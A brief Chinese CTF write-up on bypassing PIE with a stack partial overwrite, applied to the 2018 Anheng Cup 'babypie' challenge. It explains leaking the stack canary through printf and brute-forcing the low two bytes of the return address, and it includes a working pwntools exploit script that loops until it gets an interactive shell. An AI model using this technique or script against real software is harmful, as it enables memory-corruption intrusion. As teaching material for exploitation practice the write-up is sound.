栈上的 partial overwrite
partial overwrite 部分覆盖
用到该方法的情况是:存在PIE并且获取某函数地址有一定难度
这时候因为PIE不会修改地址最后几位数如图
可以发现每个函数之后末尾3位不同
所以我们可以仅修改末尾的4位(因为每个字符相当于占两位 无法只修改三位)
这样就有一定的概率返回到我们想要的正确函数地址
安恒杯 2018 年 7 月月赛的 babypie
有canary保护
read读满不会追加/0 就可以顺带把标志位printf出来
正确拼凑padding之后追加'\x3E\x0A'
进行while 1 方式的尝试 无限回车即可
效果大概是这样的
from pwn import * while 1: io=process('./pie',timeout=1) io.recvuntil('Name:\n') io.sendline('A'*0x28) io.recvuntil('A'*0x28+'\n') canary=u64(io.recvn(7).rjust(8,'\x00')) print 'canary:'+hex(canary) io.recvuntil(':\n') payload='A'*0x28+p64(canary)+'A'*8+'\x3E\x0A' io.send(payload) io.interactive() io.close() # 55C4259F7A6A # 55C4259F7A3E # 55C4259F7960